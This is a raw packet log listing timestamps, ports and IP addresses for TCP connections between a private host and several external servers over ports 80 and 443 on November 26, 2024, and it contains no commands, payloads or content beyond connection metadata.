Nov 26, 2024 16:31:20.947247028 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.953927040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.953937054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.954001904 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.954092979 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.954138994 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.954190016 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.954197884 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.954225063 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.954320908 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.975366116 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.975409985 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.975528955 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.975528955 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.975537062 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.976141930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.978684902 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.978698969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.978862047 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.978872061 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.979053974 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.994718075 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.994765043 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.994873047 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.994873047 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.994884968 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.994930029 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.004028082 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.004041910 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.004148006 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.004159927 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.004281998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.005503893 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.005511999 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.005541086 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.005630970 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.005630970 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.005640984 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.005990028 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.010843992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.010858059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.011018038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:21.014041901 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.014055014 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.014270067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:21.016906023 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.016952038 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.017043114 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.017043114 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.017050982 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.017119884 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.018265963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.018819094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:21.019792080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.019968033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:21.023458004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.023469925 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.023567915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:21.028430939 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:21.028739929 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:21.033575058 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.033593893 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.036024094 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.036046982 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.040349007 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.040400028 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.040426016 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.040499926 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.040499926 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.040509939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.041033983 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.059597969 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.059612036 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.059699059 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.059720039 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.059734106 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.059756041 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.059820890 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.059828997 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.059861898 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.060039997 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.075570107 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.075599909 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.075706005 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.075706005 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.075712919 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.075917006 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.081497908 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.081517935 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.081629038 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.081639051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.084110975 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.098047972 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.098062038 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.098522902 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.098537922 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.099147081 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.099837065 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.099859953 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.099973917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.099973917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.099987984 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.100061893 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.109651089 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.109671116 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.109920025 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.109942913 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.112566948 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.120381117 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.120402098 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.120537043 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.120547056 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.120671988 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.134156942 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.134171963 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.134329081 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.134346008 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.134426117 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.142920971 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.142942905 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.143127918 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.143136978 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.143290043 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.157391071 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.157406092 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.157489061 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.157500982 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.157612085 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.160232067 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.160257101 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.160573006 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.160581112 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.160917044 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.179402113 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.179421902 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.179534912 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.179542065 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.179610014 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.186176062 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.186192989 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.186290026 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.186301947 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.186408997 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.199759007 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.199781895 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.199976921 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.199985027 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.200074911 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360110998 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360126972 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360181093 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360213041 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360219955 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360240936 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360332012 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360352039 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360378027 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360383987 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360400915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360409021 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360429049 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360429049 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360466957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360471964 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360481977 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360482931 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360490084 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360491991 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360518932 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360521078 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360536098 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360536098 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360579014 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360582113 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360584974 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360590935 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360605955 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360630989 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360646009 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360651016 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360661983 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360661983 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360673904 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360778093 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360795975 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360815048 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360872984 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.360894918 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.360913992 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.360924006 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360938072 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.360940933 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.360944033 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360963106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.360964060 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.360970974 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.361010075 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.361011028 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361013889 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361027956 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.361036062 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361042023 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361057043 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.361066103 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361080885 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361108065 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.361108065 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361239910 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361259937 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361280918 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361298084 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361321926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361321926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361330032 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.361356020 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361862898 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.361871004 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.361888885 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.361901999 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.361907959 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.363162994 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.363173962 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.363202095 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.363207102 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.408024073 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.408060074 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.408329964 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.409950972 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.409979105 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.410186052 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.410495996 CET	49743	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.410495996 CET	49744	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:21.410510063 CET	443	49743	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.410517931 CET	443	49744	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:21.476835966 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.476851940 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.480079889 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.480096102 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.483086109 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.604338884 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.604396105 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.604424000 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.604439020 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.604515076 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.604573965 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.617712975 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.617727995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.617755890 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.617794037 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.617810965 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.617824078 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.617846966 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.630951881 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.630968094 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.631062031 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.631072998 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.631169081 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.663979053 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.663995028 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.664119005 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.664132118 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.664247036 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.695450068 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.695466995 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.695616007 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.695632935 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.695688009 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.728701115 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.728719950 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.728818893 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.728830099 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.728893042 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.734329939 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.734424114 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.734467030 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.734489918 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.734513998 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.734529018 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.761271000 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.761288881 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.761409044 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.761426926 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.761485100 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.788906097 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.788922071 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.789047003 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.789063931 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.789112091 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.842947006 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.842962027 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.843082905 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.843096018 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.843174934 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.856014967 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.856030941 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.856110096 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.856118917 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.856209040 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.858742952 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.858772993 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.858850956 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.858860970 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.858906031 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.868151903 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.868168116 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.868259907 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:21.868269920 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:21.868339062 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.029515982 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.029544115 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.029602051 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.029614925 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.029628038 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.029654980 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.029670954 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.029679060 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.029694080 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.029730082 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047226906 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047243118 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047334909 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047348976 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047389984 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047390938 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047403097 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047426939 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047449112 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047456026 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047492027 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047499895 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047560930 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047584057 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047612906 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047620058 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047643900 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047645092 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047663927 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047668934 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:22.047676086 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:22.047702074 CET	49734	443	192.168.2.6	150.171.27.10
